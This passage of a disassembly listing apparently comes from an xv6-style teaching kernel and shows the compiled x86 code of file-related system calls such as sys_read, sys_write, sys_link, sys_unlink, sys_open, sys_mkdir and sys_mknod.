80104b98: e8 33 c2 ff ff call 80100dd0 <filedup>
80104b9d: 89 d8 mov %ebx,%eax
80104b9f: 83 c4 10 add $0x10,%esp
80104ba2: 8b 5d fc mov -0x4(%ebp),%ebx
80104ba5: c9 leave
80104ba6: c3 ret
80104ba7: 89 f6 mov %esi,%esi
80104ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104bb0 <sys_read>:
80104bb0: 55 push %ebp
80104bb1: 31 c0 xor %eax,%eax
80104bb3: 89 e5 mov %esp,%ebp
80104bb5: 83 ec 18 sub $0x18,%esp
80104bb8: 8d 55 ec lea -0x14(%ebp),%edx
80104bbb: e8 30 ff ff ff call 80104af0 <argfd.constprop.0>
80104bc0: 85 c0 test %eax,%eax
80104bc2: 78 4c js 80104c10 <sys_read+0x60>
80104bc4: 8d 45 f0 lea -0x10(%ebp),%eax
80104bc7: 83 ec 08 sub $0x8,%esp
80104bca: 50 push %eax
80104bcb: 6a 02 push $0x2
80104bcd: e8 fe fb ff ff call 801047d0 <argint>
80104bd2: 83 c4 10 add $0x10,%esp
80104bd5: 85 c0 test %eax,%eax
80104bd7: 78 37 js 80104c10 <sys_read+0x60>
80104bd9: 8d 45 f4 lea -0xc(%ebp),%eax
80104bdc: 83 ec 04 sub $0x4,%esp
80104bdf: ff 75 f0 pushl -0x10(%ebp)
80104be2: 50 push %eax
80104be3: 6a 01 push $0x1
80104be5: e8 26 fc ff ff call 80104810 <argptr>
80104bea: 83 c4 10 add $0x10,%esp
80104bed: 85 c0 test %eax,%eax
80104bef: 78 1f js 80104c10 <sys_read+0x60>
80104bf1: 83 ec 04 sub $0x4,%esp
80104bf4: ff 75 f0 pushl -0x10(%ebp)
80104bf7: ff 75 f4 pushl -0xc(%ebp)
80104bfa: ff 75 ec pushl -0x14(%ebp)
80104bfd: e8 2e c3 ff ff call 80100f30 <fileread>
80104c02: 83 c4 10 add $0x10,%esp
80104c05: c9 leave
80104c06: c3 ret
80104c07: 89 f6 mov %esi,%esi
80104c09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104c10: b8 ff ff ff ff mov $0xffffffff,%eax
80104c15: c9 leave
80104c16: c3 ret
80104c17: 89 f6 mov %esi,%esi
80104c19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104c20 <sys_write>:
80104c20: 55 push %ebp
80104c21: 31 c0 xor %eax,%eax
80104c23: 89 e5 mov %esp,%ebp
80104c25: 83 ec 18 sub $0x18,%esp
80104c28: 8d 55 ec lea -0x14(%ebp),%edx
80104c2b: e8 c0 fe ff ff call 80104af0 <argfd.constprop.0>
80104c30: 85 c0 test %eax,%eax
80104c32: 78 4c js 80104c80 <sys_write+0x60>
80104c34: 8d 45 f0 lea -0x10(%ebp),%eax
80104c37: 83 ec 08 sub $0x8,%esp
80104c3a: 50 push %eax
80104c3b: 6a 02 push $0x2
80104c3d: e8 8e fb ff ff call 801047d0 <argint>
80104c42: 83 c4 10 add $0x10,%esp
80104c45: 85 c0 test %eax,%eax
80104c47: 78 37 js 80104c80 <sys_write+0x60>
80104c49: 8d 45 f4 lea -0xc(%ebp),%eax
80104c4c: 83 ec 04 sub $0x4,%esp
80104c4f: ff 75 f0 pushl -0x10(%ebp)
80104c52: 50 push %eax
80104c53: 6a 01 push $0x1
80104c55: e8 b6 fb ff ff call 80104810 <argptr>
80104c5a: 83 c4 10 add $0x10,%esp
80104c5d: 85 c0 test %eax,%eax
80104c5f: 78 1f js 80104c80 <sys_write+0x60>
80104c61: 83 ec 04 sub $0x4,%esp
80104c64: ff 75 f0 pushl -0x10(%ebp)
80104c67: ff 75 f4 pushl -0xc(%ebp)
80104c6a: ff 75 ec pushl -0x14(%ebp)
80104c6d: e8 5e c3 ff ff call 80100fd0 <filewrite>
80104c72: 83 c4 10 add $0x10,%esp
80104c75: c9 leave
80104c76: c3 ret
80104c77: 89 f6 mov %esi,%esi
80104c79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104c80: b8 ff ff ff ff mov $0xffffffff,%eax
80104c85: c9 leave
80104c86: c3 ret
80104c87: 89 f6 mov %esi,%esi
80104c89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104c90 <sys_close>:
80104c90: 55 push %ebp
80104c91: 89 e5 mov %esp,%ebp
80104c93: 83 ec 18 sub $0x18,%esp
80104c96: 8d 55 f4 lea -0xc(%ebp),%edx
80104c99: 8d 45 f0 lea -0x10(%ebp),%eax
80104c9c: e8 4f fe ff ff call 80104af0 <argfd.constprop.0>
80104ca1: 85 c0 test %eax,%eax
80104ca3: 78 2b js 80104cd0 <sys_close+0x40>
80104ca5: 8b 55 f0 mov -0x10(%ebp),%edx
80104ca8: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104cae: 83 ec 0c sub $0xc,%esp
80104cb1: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4)
80104cb8: 00
80104cb9: ff 75 f4 pushl -0xc(%ebp)
80104cbc: e8 5f c1 ff ff call 80100e20 <fileclose>
80104cc1: 83 c4 10 add $0x10,%esp
80104cc4: 31 c0 xor %eax,%eax
80104cc6: c9 leave
80104cc7: c3 ret
80104cc8: 90 nop
80104cc9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104cd0: b8 ff ff ff ff mov $0xffffffff,%eax
80104cd5: c9 leave
80104cd6: c3 ret
80104cd7: 89 f6 mov %esi,%esi
80104cd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104ce0 <sys_fstat>:
80104ce0: 55 push %ebp
80104ce1: 31 c0 xor %eax,%eax
80104ce3: 89 e5 mov %esp,%ebp
80104ce5: 83 ec 18 sub $0x18,%esp
80104ce8: 8d 55 f0 lea -0x10(%ebp),%edx
80104ceb: e8 00 fe ff ff call 80104af0 <argfd.constprop.0>
80104cf0: 85 c0 test %eax,%eax
80104cf2: 78 2c js 80104d20 <sys_fstat+0x40>
80104cf4: 8d 45 f4 lea -0xc(%ebp),%eax
80104cf7: 83 ec 04 sub $0x4,%esp
80104cfa: 6a 14 push $0x14
80104cfc: 50 push %eax
80104cfd: 6a 01 push $0x1
80104cff: e8 0c fb ff ff call 80104810 <argptr>
80104d04: 83 c4 10 add $0x10,%esp
80104d07: 85 c0 test %eax,%eax
80104d09: 78 15 js 80104d20 <sys_fstat+0x40>
80104d0b: 83 ec 08 sub $0x8,%esp
80104d0e: ff 75 f4 pushl -0xc(%ebp)
80104d11: ff 75 f0 pushl -0x10(%ebp)
80104d14: e8 c7 c1 ff ff call 80100ee0 <filestat>
80104d19: 83 c4 10 add $0x10,%esp
80104d1c: c9 leave
80104d1d: c3 ret
80104d1e: 66 90 xchg %ax,%ax
80104d20: b8 ff ff ff ff mov $0xffffffff,%eax
80104d25: c9 leave
80104d26: c3 ret
80104d27: 89 f6 mov %esi,%esi
80104d29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104d30 <sys_link>:
80104d30: 55 push %ebp
80104d31: 89 e5 mov %esp,%ebp
80104d33: 57 push %edi
80104d34: 56 push %esi
80104d35: 53 push %ebx
80104d36: 8d 45 d4 lea -0x2c(%ebp),%eax
80104d39: 83 ec 34 sub $0x34,%esp
80104d3c: 50 push %eax
80104d3d: 6a 00 push $0x0
80104d3f: e8 1c fb ff ff call 80104860 <argstr>
80104d44: 83 c4 10 add $0x10,%esp
80104d47: 85 c0 test %eax,%eax
80104d49: 0f 88 fb 00 00 00 js 80104e4a <sys_link+0x11a>
80104d4f: 8d 45 d0 lea -0x30(%ebp),%eax
80104d52: 83 ec 08 sub $0x8,%esp
80104d55: 50 push %eax
80104d56: 6a 01 push $0x1
80104d58: e8 03 fb ff ff call 80104860 <argstr>
80104d5d: 83 c4 10 add $0x10,%esp
80104d60: 85 c0 test %eax,%eax
80104d62: 0f 88 e2 00 00 00 js 80104e4a <sys_link+0x11a>
80104d68: e8 13 de ff ff call 80102b80 <begin_op>
80104d6d: 83 ec 0c sub $0xc,%esp
80104d70: ff 75 d4 pushl -0x2c(%ebp)
80104d73: e8 68 d1 ff ff call 80101ee0 <namei>
80104d78: 83 c4 10 add $0x10,%esp
80104d7b: 85 c0 test %eax,%eax
80104d7d: 89 c3 mov %eax,%ebx
80104d7f: 0f 84 f3 00 00 00 je 80104e78 <sys_link+0x148>
80104d85: 83 ec 0c sub $0xc,%esp
80104d88: 50 push %eax
80104d89: e8 22 c9 ff ff call 801016b0 <ilock>
80104d8e: 83 c4 10 add $0x10,%esp
80104d91: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104d96: 0f 84 c4 00 00 00 je 80104e60 <sys_link+0x130>
80104d9c: 66 83 43 56 01 addw $0x1,0x56(%ebx)
80104da1: 83 ec 0c sub $0xc,%esp
80104da4: 8d 7d da lea -0x26(%ebp),%edi
80104da7: 53 push %ebx
80104da8: e8 43 c8 ff ff call 801015f0 <iupdate>
80104dad: 89 1c 24 mov %ebx,(%esp)
80104db0: e8 cb c9 ff ff call 80101780 <iunlock>
80104db5: 58 pop %eax
80104db6: 5a pop %edx
80104db7: 57 push %edi
80104db8: ff 75 d0 pushl -0x30(%ebp)
80104dbb: e8 40 d1 ff ff call 80101f00 <nameiparent>
80104dc0: 83 c4 10 add $0x10,%esp
80104dc3: 85 c0 test %eax,%eax
80104dc5: 89 c6 mov %eax,%esi
80104dc7: 74 5b je 80104e24 <sys_link+0xf4>
80104dc9: 83 ec 0c sub $0xc,%esp
80104dcc: 50 push %eax
80104dcd: e8 de c8 ff ff call 801016b0 <ilock>
80104dd2: 83 c4 10 add $0x10,%esp
80104dd5: 8b 03 mov (%ebx),%eax
80104dd7: 39 06 cmp %eax,(%esi)
80104dd9: 75 3d jne 80104e18 <sys_link+0xe8>
80104ddb: 83 ec 04 sub $0x4,%esp
80104dde: ff 73 04 pushl 0x4(%ebx)
80104de1: 57 push %edi
80104de2: 56 push %esi
80104de3: e8 18 d0 ff ff call 80101e00 <dirlink>
80104de8: 83 c4 10 add $0x10,%esp
80104deb: 85 c0 test %eax,%eax
80104ded: 78 29 js 80104e18 <sys_link+0xe8>
80104def: 83 ec 0c sub $0xc,%esp
80104df2: 56 push %esi
80104df3: e8 f8 ca ff ff call 801018f0 <iunlockput>
80104df8: 89 1c 24 mov %ebx,(%esp)
80104dfb: e8 c0 c9 ff ff call 801017c0 <iput>
80104e00: e8 eb dd ff ff call 80102bf0 <end_op>
80104e05: 83 c4 10 add $0x10,%esp
80104e08: 31 c0 xor %eax,%eax
80104e0a: 8d 65 f4 lea -0xc(%ebp),%esp
80104e0d: 5b pop %ebx
80104e0e: 5e pop %esi
80104e0f: 5f pop %edi
80104e10: 5d pop %ebp
80104e11: c3 ret
80104e12: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104e18: 83 ec 0c sub $0xc,%esp
80104e1b: 56 push %esi
80104e1c: e8 cf ca ff ff call 801018f0 <iunlockput>
80104e21: 83 c4 10 add $0x10,%esp
80104e24: 83 ec 0c sub $0xc,%esp
80104e27: 53 push %ebx
80104e28: e8 83 c8 ff ff call 801016b0 <ilock>
80104e2d: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
80104e32: 89 1c 24 mov %ebx,(%esp)
80104e35: e8 b6 c7 ff ff call 801015f0 <iupdate>
80104e3a: 89 1c 24 mov %ebx,(%esp)
80104e3d: e8 ae ca ff ff call 801018f0 <iunlockput>
80104e42: e8 a9 dd ff ff call 80102bf0 <end_op>
80104e47: 83 c4 10 add $0x10,%esp
80104e4a: 8d 65 f4 lea -0xc(%ebp),%esp
80104e4d: b8 ff ff ff ff mov $0xffffffff,%eax
80104e52: 5b pop %ebx
80104e53: 5e pop %esi
80104e54: 5f pop %edi
80104e55: 5d pop %ebp
80104e56: c3 ret
80104e57: 89 f6 mov %esi,%esi
80104e59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104e60: 83 ec 0c sub $0xc,%esp
80104e63: 53 push %ebx
80104e64: e8 87 ca ff ff call 801018f0 <iunlockput>
80104e69: e8 82 dd ff ff call 80102bf0 <end_op>
80104e6e: 83 c4 10 add $0x10,%esp
80104e71: b8 ff ff ff ff mov $0xffffffff,%eax
80104e76: eb 92 jmp 80104e0a <sys_link+0xda>
80104e78: e8 73 dd ff ff call 80102bf0 <end_op>
80104e7d: b8 ff ff ff ff mov $0xffffffff,%eax
80104e82: eb 86 jmp 80104e0a <sys_link+0xda>
80104e84: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104e8a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80104e90 <sys_unlink>:
80104e90: 55 push %ebp
80104e91: 89 e5 mov %esp,%ebp
80104e93: 57 push %edi
80104e94: 56 push %esi
80104e95: 53 push %ebx
80104e96: 8d 45 c0 lea -0x40(%ebp),%eax
80104e99: 83 ec 54 sub $0x54,%esp
80104e9c: 50 push %eax
80104e9d: 6a 00 push $0x0
80104e9f: e8 bc f9 ff ff call 80104860 <argstr>
80104ea4: 83 c4 10 add $0x10,%esp
80104ea7: 85 c0 test %eax,%eax
80104ea9: 0f 88 82 01 00 00 js 80105031 <sys_unlink+0x1a1>
80104eaf: 8d 5d ca lea -0x36(%ebp),%ebx
80104eb2: e8 c9 dc ff ff call 80102b80 <begin_op>
80104eb7: 83 ec 08 sub $0x8,%esp
80104eba: 53 push %ebx
80104ebb: ff 75 c0 pushl -0x40(%ebp)
80104ebe: e8 3d d0 ff ff call 80101f00 <nameiparent>
80104ec3: 83 c4 10 add $0x10,%esp
80104ec6: 85 c0 test %eax,%eax
80104ec8: 89 45 b4 mov %eax,-0x4c(%ebp)
80104ecb: 0f 84 6a 01 00 00 je 8010503b <sys_unlink+0x1ab>
80104ed1: 8b 75 b4 mov -0x4c(%ebp),%esi
80104ed4: 83 ec 0c sub $0xc,%esp
80104ed7: 56 push %esi
80104ed8: e8 d3 c7 ff ff call 801016b0 <ilock>
80104edd: 58 pop %eax
80104ede: 5a pop %edx
80104edf: 68 64 78 10 80 push $0x80107864
80104ee4: 53 push %ebx
80104ee5: e8 86 cc ff ff call 80101b70 <namecmp>
80104eea: 83 c4 10 add $0x10,%esp
80104eed: 85 c0 test %eax,%eax
80104eef: 0f 84 fc 00 00 00 je 80104ff1 <sys_unlink+0x161>
80104ef5: 83 ec 08 sub $0x8,%esp
80104ef8: 68 63 78 10 80 push $0x80107863
80104efd: 53 push %ebx
80104efe: e8 6d cc ff ff call 80101b70 <namecmp>
80104f03: 83 c4 10 add $0x10,%esp
80104f06: 85 c0 test %eax,%eax
80104f08: 0f 84 e3 00 00 00 je 80104ff1 <sys_unlink+0x161>
80104f0e: 8d 45 c4 lea -0x3c(%ebp),%eax
80104f11: 83 ec 04 sub $0x4,%esp
80104f14: 50 push %eax
80104f15: 53 push %ebx
80104f16: 56 push %esi
80104f17: e8 84 cc ff ff call 80101ba0 <dirlookup>
80104f1c: 83 c4 10 add $0x10,%esp
80104f1f: 85 c0 test %eax,%eax
80104f21: 89 c3 mov %eax,%ebx
80104f23: 0f 84 c8 00 00 00 je 80104ff1 <sys_unlink+0x161>
80104f29: 83 ec 0c sub $0xc,%esp
80104f2c: 50 push %eax
80104f2d: e8 7e c7 ff ff call 801016b0 <ilock>
80104f32: 83 c4 10 add $0x10,%esp
80104f35: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx)
80104f3a: 0f 8e 24 01 00 00 jle 80105064 <sys_unlink+0x1d4>
80104f40: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104f45: 8d 75 d8 lea -0x28(%ebp),%esi
80104f48: 74 66 je 80104fb0 <sys_unlink+0x120>
80104f4a: 83 ec 04 sub $0x4,%esp
80104f4d: 6a 10 push $0x10
80104f4f: 6a 00 push $0x0
80104f51: 56 push %esi
80104f52: e8 a9 f5 ff ff call 80104500 <memset>
80104f57: 6a 10 push $0x10
80104f59: ff 75 c4 pushl -0x3c(%ebp)
80104f5c: 56 push %esi
80104f5d: ff 75 b4 pushl -0x4c(%ebp)
80104f60: e8 db ca ff ff call 80101a40 <writei>
80104f65: 83 c4 20 add $0x20,%esp
80104f68: 83 f8 10 cmp $0x10,%eax
80104f6b: 0f 85 e6 00 00 00 jne 80105057 <sys_unlink+0x1c7>
80104f71: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104f76: 0f 84 9c 00 00 00 je 80105018 <sys_unlink+0x188>
80104f7c: 83 ec 0c sub $0xc,%esp
80104f7f: ff 75 b4 pushl -0x4c(%ebp)
80104f82: e8 69 c9 ff ff call 801018f0 <iunlockput>
80104f87: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
80104f8c: 89 1c 24 mov %ebx,(%esp)
80104f8f: e8 5c c6 ff ff call 801015f0 <iupdate>
80104f94: 89 1c 24 mov %ebx,(%esp)
80104f97: e8 54 c9 ff ff call 801018f0 <iunlockput>
80104f9c: e8 4f dc ff ff call 80102bf0 <end_op>
80104fa1: 83 c4 10 add $0x10,%esp
80104fa4: 31 c0 xor %eax,%eax
80104fa6: 8d 65 f4 lea -0xc(%ebp),%esp
80104fa9: 5b pop %ebx
80104faa: 5e pop %esi
80104fab: 5f pop %edi
80104fac: 5d pop %ebp
80104fad: c3 ret
80104fae: 66 90 xchg %ax,%ax
80104fb0: 83 7b 58 20 cmpl $0x20,0x58(%ebx)
80104fb4: 76 94 jbe 80104f4a <sys_unlink+0xba>
80104fb6: bf 20 00 00 00 mov $0x20,%edi
80104fbb: eb 0f jmp 80104fcc <sys_unlink+0x13c>
80104fbd: 8d 76 00 lea 0x0(%esi),%esi
80104fc0: 83 c7 10 add $0x10,%edi
80104fc3: 3b 7b 58 cmp 0x58(%ebx),%edi
80104fc6: 0f 83 7e ff ff ff jae 80104f4a <sys_unlink+0xba>
80104fcc: 6a 10 push $0x10
80104fce: 57 push %edi
80104fcf: 56 push %esi
80104fd0: 53 push %ebx
80104fd1: e8 6a c9 ff ff call 80101940 <readi>
80104fd6: 83 c4 10 add $0x10,%esp
80104fd9: 83 f8 10 cmp $0x10,%eax
80104fdc: 75 6c jne 8010504a <sys_unlink+0x1ba>
80104fde: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80104fe3: 74 db je 80104fc0 <sys_unlink+0x130>
80104fe5: 83 ec 0c sub $0xc,%esp
80104fe8: 53 push %ebx
80104fe9: e8 02 c9 ff ff call 801018f0 <iunlockput>
80104fee: 83 c4 10 add $0x10,%esp
80104ff1: 83 ec 0c sub $0xc,%esp
80104ff4: ff 75 b4 pushl -0x4c(%ebp)
80104ff7: e8 f4 c8 ff ff call 801018f0 <iunlockput>
80104ffc: e8 ef db ff ff call 80102bf0 <end_op>
80105001: 83 c4 10 add $0x10,%esp
80105004: 8d 65 f4 lea -0xc(%ebp),%esp
80105007: b8 ff ff ff ff mov $0xffffffff,%eax
8010500c: 5b pop %ebx
8010500d: 5e pop %esi
8010500e: 5f pop %edi
8010500f: 5d pop %ebp
80105010: c3 ret
80105011: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105018: 8b 45 b4 mov -0x4c(%ebp),%eax
8010501b: 83 ec 0c sub $0xc,%esp
8010501e: 66 83 68 56 01 subw $0x1,0x56(%eax)
80105023: 50 push %eax
80105024: e8 c7 c5 ff ff call 801015f0 <iupdate>
80105029: 83 c4 10 add $0x10,%esp
8010502c: e9 4b ff ff ff jmp 80104f7c <sys_unlink+0xec>
80105031: b8 ff ff ff ff mov $0xffffffff,%eax
80105036: e9 6b ff ff ff jmp 80104fa6 <sys_unlink+0x116>
8010503b: e8 b0 db ff ff call 80102bf0 <end_op>
80105040: b8 ff ff ff ff mov $0xffffffff,%eax
80105045: e9 5c ff ff ff jmp 80104fa6 <sys_unlink+0x116>
8010504a: 83 ec 0c sub $0xc,%esp
8010504d: 68 88 78 10 80 push $0x80107888
80105052: e8 09 b3 ff ff call 80100360 <panic>
80105057: 83 ec 0c sub $0xc,%esp
8010505a: 68 9a 78 10 80 push $0x8010789a
8010505f: e8 fc b2 ff ff call 80100360 <panic>
80105064: 83 ec 0c sub $0xc,%esp
80105067: 68 76 78 10 80 push $0x80107876
8010506c: e8 ef b2 ff ff call 80100360 <panic>
80105071: eb 0d jmp 80105080 <sys_open>
80105073: 90 nop
80105074: 90 nop
80105075: 90 nop
80105076: 90 nop
80105077: 90 nop
80105078: 90 nop
80105079: 90 nop
8010507a: 90 nop
8010507b: 90 nop
8010507c: 90 nop
8010507d: 90 nop
8010507e: 90 nop
8010507f: 90 nop
80105080 <sys_open>:
80105080: 55 push %ebp
80105081: 89 e5 mov %esp,%ebp
80105083: 57 push %edi
80105084: 56 push %esi
80105085: 53 push %ebx
80105086: 8d 45 e0 lea -0x20(%ebp),%eax
80105089: 83 ec 24 sub $0x24,%esp
8010508c: 50 push %eax
8010508d: 6a 00 push $0x0
8010508f: e8 cc f7 ff ff call 80104860 <argstr>
80105094: 83 c4 10 add $0x10,%esp
80105097: 85 c0 test %eax,%eax
80105099: 0f 88 9e 00 00 00 js 8010513d <sys_open+0xbd>
8010509f: 8d 45 e4 lea -0x1c(%ebp),%eax
801050a2: 83 ec 08 sub $0x8,%esp
801050a5: 50 push %eax
801050a6: 6a 01 push $0x1
801050a8: e8 23 f7 ff ff call 801047d0 <argint>
801050ad: 83 c4 10 add $0x10,%esp
801050b0: 85 c0 test %eax,%eax
801050b2: 0f 88 85 00 00 00 js 8010513d <sys_open+0xbd>
801050b8: e8 c3 da ff ff call 80102b80 <begin_op>
801050bd: f6 45 e5 02 testb $0x2,-0x1b(%ebp)
801050c1: 0f 85 89 00 00 00 jne 80105150 <sys_open+0xd0>
801050c7: 83 ec 0c sub $0xc,%esp
801050ca: ff 75 e0 pushl -0x20(%ebp)
801050cd: e8 0e ce ff ff call 80101ee0 <namei>
801050d2: 83 c4 10 add $0x10,%esp
801050d5: 85 c0 test %eax,%eax
801050d7: 89 c7 mov %eax,%edi
801050d9: 0f 84 8e 00 00 00 je 8010516d <sys_open+0xed>
801050df: 83 ec 0c sub $0xc,%esp
801050e2: 50 push %eax
801050e3: e8 c8 c5 ff ff call 801016b0 <ilock>
801050e8: 83 c4 10 add $0x10,%esp
801050eb: 66 83 7f 50 01 cmpw $0x1,0x50(%edi)
801050f0: 0f 84 d2 00 00 00 je 801051c8 <sys_open+0x148>
801050f6: e8 65 bc ff ff call 80100d60 <filealloc>
801050fb: 85 c0 test %eax,%eax
801050fd: 89 c6 mov %eax,%esi
801050ff: 74 2b je 8010512c <sys_open+0xac>
80105101: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80105108: 31 db xor %ebx,%ebx
8010510a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105110: 8b 44 9a 28 mov 0x28(%edx,%ebx,4),%eax
80105114: 85 c0 test %eax,%eax
80105116: 74 68 je 80105180 <sys_open+0x100>
80105118: 83 c3 01 add $0x1,%ebx
8010511b: 83 fb 10 cmp $0x10,%ebx
8010511e: 75 f0 jne 80105110 <sys_open+0x90>
80105120: 83 ec 0c sub $0xc,%esp
80105123: 56 push %esi
80105124: e8 f7 bc ff ff call 80100e20 <fileclose>
80105129: 83 c4 10 add $0x10,%esp
8010512c: 83 ec 0c sub $0xc,%esp
8010512f: 57 push %edi
80105130: e8 bb c7 ff ff call 801018f0 <iunlockput>
80105135: e8 b6 da ff ff call 80102bf0 <end_op>
8010513a: 83 c4 10 add $0x10,%esp
8010513d: 8d 65 f4 lea -0xc(%ebp),%esp
80105140: b8 ff ff ff ff mov $0xffffffff,%eax
80105145: 5b pop %ebx
80105146: 5e pop %esi
80105147: 5f pop %edi
80105148: 5d pop %ebp
80105149: c3 ret
8010514a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105150: 83 ec 0c sub $0xc,%esp
80105153: 8b 45 e0 mov -0x20(%ebp),%eax
80105156: 31 c9 xor %ecx,%ecx
80105158: 6a 00 push $0x0
8010515a: ba 02 00 00 00 mov $0x2,%edx
8010515f: e8 ec f7 ff ff call 80104950 <create>
80105164: 83 c4 10 add $0x10,%esp
80105167: 85 c0 test %eax,%eax
80105169: 89 c7 mov %eax,%edi
8010516b: 75 89 jne 801050f6 <sys_open+0x76>
8010516d: e8 7e da ff ff call 80102bf0 <end_op>
80105172: b8 ff ff ff ff mov $0xffffffff,%eax
80105177: eb 43 jmp 801051bc <sys_open+0x13c>
80105179: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105180: 83 ec 0c sub $0xc,%esp
80105183: 89 74 9a 28 mov %esi,0x28(%edx,%ebx,4)
80105187: 57 push %edi
80105188: e8 f3 c5 ff ff call 80101780 <iunlock>
8010518d: e8 5e da ff ff call 80102bf0 <end_op>
80105192: c7 06 02 00 00 00 movl $0x2,(%esi)
80105198: 8b 55 e4 mov -0x1c(%ebp),%edx
8010519b: 83 c4 10 add $0x10,%esp
8010519e: 89 7e 10 mov %edi,0x10(%esi)
801051a1: c7 46 14 00 00 00 00 movl $0x0,0x14(%esi)
801051a8: 89 d0 mov %edx,%eax
801051aa: 83 e0 01 and $0x1,%eax
801051ad: 83 f0 01 xor $0x1,%eax
801051b0: 83 e2 03 and $0x3,%edx
801051b3: 88 46 08 mov %al,0x8(%esi)
801051b6: 0f 95 46 09 setne 0x9(%esi)
801051ba: 89 d8 mov %ebx,%eax
801051bc: 8d 65 f4 lea -0xc(%ebp),%esp
801051bf: 5b pop %ebx
801051c0: 5e pop %esi
801051c1: 5f pop %edi
801051c2: 5d pop %ebp
801051c3: c3 ret
801051c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801051c8: 8b 55 e4 mov -0x1c(%ebp),%edx
801051cb: 85 d2 test %edx,%edx
801051cd: 0f 84 23 ff ff ff je 801050f6 <sys_open+0x76>
801051d3: e9 54 ff ff ff jmp 8010512c <sys_open+0xac>
801051d8: 90 nop
801051d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801051e0 <sys_mkdir>:
801051e0: 55 push %ebp
801051e1: 89 e5 mov %esp,%ebp
801051e3: 83 ec 18 sub $0x18,%esp
801051e6: e8 95 d9 ff ff call 80102b80 <begin_op>
801051eb: 8d 45 f4 lea -0xc(%ebp),%eax
801051ee: 83 ec 08 sub $0x8,%esp
801051f1: 50 push %eax
801051f2: 6a 00 push $0x0
801051f4: e8 67 f6 ff ff call 80104860 <argstr>
801051f9: 83 c4 10 add $0x10,%esp
801051fc: 85 c0 test %eax,%eax
801051fe: 78 30 js 80105230 <sys_mkdir+0x50>
80105200: 83 ec 0c sub $0xc,%esp
80105203: 8b 45 f4 mov -0xc(%ebp),%eax
80105206: 31 c9 xor %ecx,%ecx
80105208: 6a 00 push $0x0
8010520a: ba 01 00 00 00 mov $0x1,%edx
8010520f: e8 3c f7 ff ff call 80104950 <create>
80105214: 83 c4 10 add $0x10,%esp
80105217: 85 c0 test %eax,%eax
80105219: 74 15 je 80105230 <sys_mkdir+0x50>
8010521b: 83 ec 0c sub $0xc,%esp
8010521e: 50 push %eax
8010521f: e8 cc c6 ff ff call 801018f0 <iunlockput>
80105224: e8 c7 d9 ff ff call 80102bf0 <end_op>
80105229: 83 c4 10 add $0x10,%esp
8010522c: 31 c0 xor %eax,%eax
8010522e: c9 leave
8010522f: c3 ret
80105230: e8 bb d9 ff ff call 80102bf0 <end_op>
80105235: b8 ff ff ff ff mov $0xffffffff,%eax
8010523a: c9 leave
8010523b: c3 ret
8010523c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105240 <sys_mknod>:
80105240: 55 push %ebp
80105241: 89 e5 mov %esp,%ebp
80105243: 83 ec 18 sub $0x18,%esp
80105246: e8 35 d9 ff ff call 80102b80 <begin_op>
8010524b: 8d 45 ec lea -0x14(%ebp),%eax
8010524e: 83 ec 08 sub $0x8,%esp
80105251: 50 push %eax
80105252: 6a 00 push $0x0
80105254: e8 07 f6 ff ff call 80104860 <argstr>
80105259: 83 c4 10 add $0x10,%esp
8010525c: 85 c0 test %eax,%eax
8010525e: 78 60 js 801052c0 <sys_mknod+0x80>
80105260: 8d 45 f0 lea -0x10(%ebp),%eax
80105263: 83 ec 08 sub $0x8,%esp
80105266: 50 push %eax
80105267: 6a 01 push $0x1
80105269: e8 62 f5 ff ff call 801047d0 <argint>
8010526e: 83 c4 10 add $0x10,%esp
80105271: 85 c0 test %eax,%eax
80105273: 78 4b js 801052c0 <sys_mknod+0x80>
80105275: 8d 45 f4 lea -0xc(%ebp),%eax
80105278: 83 ec 08 sub $0x8,%esp
8010527b: 50 push %eax
8010527c: 6a 02 push $0x2
8010527e: e8 4d f5 ff ff call 801047d0 <argint>
80105283: 83 c4 10 add $0x10,%esp
80105286: 85 c0 test %eax,%eax
80105288: 78 36 js 801052c0 <sys_mknod+0x80>
8010528a: 0f bf 45 f4 movswl -0xc(%ebp),%eax
8010528e: 83 ec 0c sub $0xc,%esp
80105291: 0f bf 4d f0 movswl -0x10(%ebp),%ecx
80105295: ba 03 00 00 00 mov $0x3,%edx
8010529a: 50 push %eax
8010529b: 8b 45 ec mov -0x14(%ebp),%eax
8010529e: e8 ad f6 ff ff call 80104950 <create>
801052a3: 83 c4 10 add $0x10,%esp
801052a6: 85 c0 test %eax,%eax
801052a8: 74 16 je 801052c0 <sys_mknod+0x80>
801052aa: 83 ec 0c sub $0xc,%esp
801052ad: 50 push %eax
801052ae: e8 3d c6 ff ff call 801018f0 <iunlockput>
801052b3: e8 38 d9 ff ff call 80102bf0 <end_op>
801052b8: 83 c4 10 add $0x10,%esp
801052bb: 31 c0 xor %eax,%eax
801052bd: c9 leave
801052be: c3 ret
801052bf: 90 nop
